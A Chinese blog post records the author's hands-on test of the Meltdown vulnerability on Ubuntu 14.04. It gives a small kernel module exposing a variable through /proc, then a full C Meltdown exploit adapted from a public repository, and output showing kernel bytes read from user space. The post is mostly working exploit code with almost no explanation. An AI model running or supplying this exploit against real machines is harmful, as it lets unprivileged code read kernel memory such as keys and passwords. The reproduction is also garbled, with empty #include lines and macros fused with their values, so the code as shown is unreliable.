在Ubuntu 14.04上面進行的meltdown漏洞的親測

本文是我在Ubuntu 14.04上面進行的meltdown漏洞的親測。meltdown漏洞，使得我們可以在用戶空間讀到內(nèi)核空間的數(shù)據(jù)，做越權(quán)訪問。我感覺每天YY看技術(shù)文章，而不去親自試驗，總是無法切身體會，因此我們來把它實例化，直接寫代碼看效果！本文暫時不涉及技術(shù)細節(jié)，只貼相關(guān)的代碼。詳細的原理，希望后面有機會再敘述。

首先寫一個內(nèi)核模塊，包含一個很簡單的proc接口，里面有個內(nèi)核全局變量variable=0x12345678，這個proc接口暴露這個全局變量。

我待會嘗試用一個應用程序meltdown-baohua.c來把這個內(nèi)核空間變量從用戶空間偷出來。

#include

#include

#include

#include

#include

#include

#include

static unsigned int variable=0x12345678;

static struct proc_dir_entry *test_entry;

static int test_proc_show(struct seq_file *seq, void *v)

{

unsigned int *ptr_var = seq->private;

seq_printf(seq, "%u ", *ptr_var);

return 0;

}

static int test_proc_open(struct inode *inode, struct file *file)

{

return single_open(file, test_proc_show, PDE_DATA(inode));

}

static const struct file_operations test_proc_fops =

{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = seq_read,

.llseek = seq_lseek,

.release = single_release,

};

static __init int test_proc_init(void)

{

printk("variable addr:%p ", &variable);

test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);

if (test_entry)

return 0;

return -ENOMEM;

}

module_init(test_proc_init);

static __exit void test_proc_cleanup(void)

{

remove_proc_entry("stolen_data", NULL);

}

module_exit(test_proc_cleanup);

MODULE_AUTHOR("Barry Song ");

MODULE_DESCRIPTION("proc exmaple");

MODULE_LICENSE("GPL v2");

這個模塊對應的Makefile如下：

把它編譯執(zhí)行并加載：

#make

#sudo insmod proc.ko

然后dmesg看出來printk("variable addr:%p ", &variable);這一行打印的variable地址是：

[25996.868363] variable addr:f9adf000

然后我們用下面的程序來偷取f9adf000數(shù)據(jù)：

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

//#define DEBUG 1

/* comment out if getting illegal insctructions error */

#ifndef HAVE_RDTSCP

# define HAVE_RDTSCP 1

#endif

#if !(defined(__x86_64__) || defined(__i386__))

# error "Only x86-64 and i386 are supported at the moment"

#endif

#define TARGET_OFFSET12

#define TARGET_SIZE(1 << TARGET_OFFSET)

#define BITS_READ8

#define VARIANTS_READ(1 << BITS_READ)

static char target_array[VARIANTS_READ * TARGET_SIZE];

void clflush_target(void)

{

int i;

for (i = 0; i < VARIANTS_READ; i++)

_mm_clflush(&target_array[i * TARGET_SIZE]);

}

extern char stopspeculate[];

static void __attribute__((noinline))

speculate(unsigned long addr)

{

#ifdef __x86_64__

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%rax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%rax "

"jz 1b "

"movzx (%[target], %%rax, 1), %%rbx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#else /* ifdef __x86_64__ */

asm volatile (

"1: "

".rept 300 "

"add $0x141, %%eax "

".endr "

"movzx (%[addr]), %%eax "

"shl $12, %%eax "

"jz 1b "

"movzx (%[target], %%eax, 1), %%ebx "

"stopspeculate: "

"nop "

:

: [target] "r" (target_array),

[addr] "r" (addr)

: "rax", "rbx"

);

#endif

}

static inline int

get_access_time(volatile char *addr)

{

int time1, time2, junk;

volatile int j;

#if HAVE_RDTSCP

time1 = __rdtscp(&junk);

j = *addr;

time2 = __rdtscp(&junk);

#else

time1 = __rdtsc();

j = *addr;

_mm_mfence();

time2 = __rdtsc();

#endif

return time2 - time1;

}

static int cache_hit_threshold;

static int hist[VARIANTS_READ];

void check(void)

{

int i, time, mix_i;

volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {

mix_i = ((i * 167) + 13) & 255;

addr = &target_array[mix_i * TARGET_SIZE];

time = get_access_time(addr);

if (time <= cache_hit_threshold)

hist[mix_i]++;

}

}

void sigsegv(int sig, siginfo_t *siginfo, void *context)

{

ucontext_t *ucontext = context;

#ifdef __x86_64__

ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;

#else

ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;

#endif

return;

}

int set_signal(void)

{

struct sigaction act = {

.sa_sigaction = sigsegv,

.sa_flags = SA_SIGINFO,

};

return sigaction(SIGSEGV, &act, NULL);

}

#define CYCLES 1000

int readbyte(int fd, unsigned long addr)

{

int i, ret = 0, max = -1, maxi = -1;

static char buf[256];

memset(hist, 0, sizeof(hist));

for (i = 0; i < CYCLES; i++) {

ret = pread(fd, buf, sizeof(buf), 0);

if (ret < 0) {

perror("pread");

break;

}

clflush_target();

speculate(addr);

check();

}

#ifdef DEBUG

for (i = 0; i < VARIANTS_READ; i++)

if (hist[i] > 0)

printf("addr %lx hist[%x] = %d ", addr, i, hist[i]);

#endif

for (i = 1; i < VARIANTS_READ; i++) {

if (hist[i] && hist[i] > max) {

max = hist[i];

maxi = i;

}

}

return maxi;

}

static char *progname;

int usage(void)

{

printf("%s: [hexaddr] [size] ", progname);

return 2;

}

static int mysqrt(long val)

{

int root = val / 2, prevroot = 0, i = 0;

while (prevroot != root && i++ < 100) {

prevroot = root;

root = (val / root + root) / 2;

}

return root;

}

#define ESTIMATE_CYCLES1000000

static void

set_cache_hit_threshold(void)

{

long cached, uncached, i;

if (0) {

cache_hit_threshold = 80;

return;

}

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);

for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {

_mm_clflush(target_array);

uncached += get_access_time(target_array);

}

cached /= ESTIMATE_CYCLES;

uncached /= ESTIMATE_CYCLES;

cache_hit_threshold = mysqrt(cached * uncached);

printf("cached = %ld, uncached = %ld, threshold %d ",

cached, uncached, cache_hit_threshold);

}

static int min(int a, int b)

{

return a < b ? a : b;

}

int main(int argc, char *argv[])

{

int ret, fd, i, is_vulnerable;

unsigned long addr, size;

progname = argv[0];

if (argc < 3)

return usage();

if (sscanf(argv[1], "%lx", &addr) != 1)

return usage();

if (sscanf(argv[2], "%lx", &size) != 1)

return usage();

memset(target_array, 1, sizeof(target_array));

ret = set_signal();

set_cache_hit_threshold();

fd = open("/proc/stolen_data", O_RDONLY);

if (fd < 0) {

perror("open");

return -1;

}

for (i = 0; i < size; i++) {

ret = readbyte(fd, addr);

if (ret == -1)

ret = 0xff;

printf("read %lx = %x %c (score=%d/%d) ",

addr, ret, isprint(ret) ? ret : ' ',

ret != 0xff ? hist[ret] : 0,

CYCLES);

addr++;

}

close(fd);

return 0;

}

上述程序改編自:https://github.com/paboldin/meltdown-exploit.git

編譯上述程序，并執(zhí)行偷?。?/p>

baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c

baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.outf9adf000 4

[sudo] password for baohua:

cached = 31, uncached = 312, threshold 98

read f9adf000 = 78 x (score=120/1000)

read f9adf001 = 56 V (score=129/1000)

read f9adf002 = 34 4 (score=218/1000)

read f9adf003 = 12 (score=178/1000)

這樣我們就偷取到了f9adf000開始的4個字節(jié)，12345678了！

詳細的原理，暫時沒有時間講了，讀者們可以先動手做起來！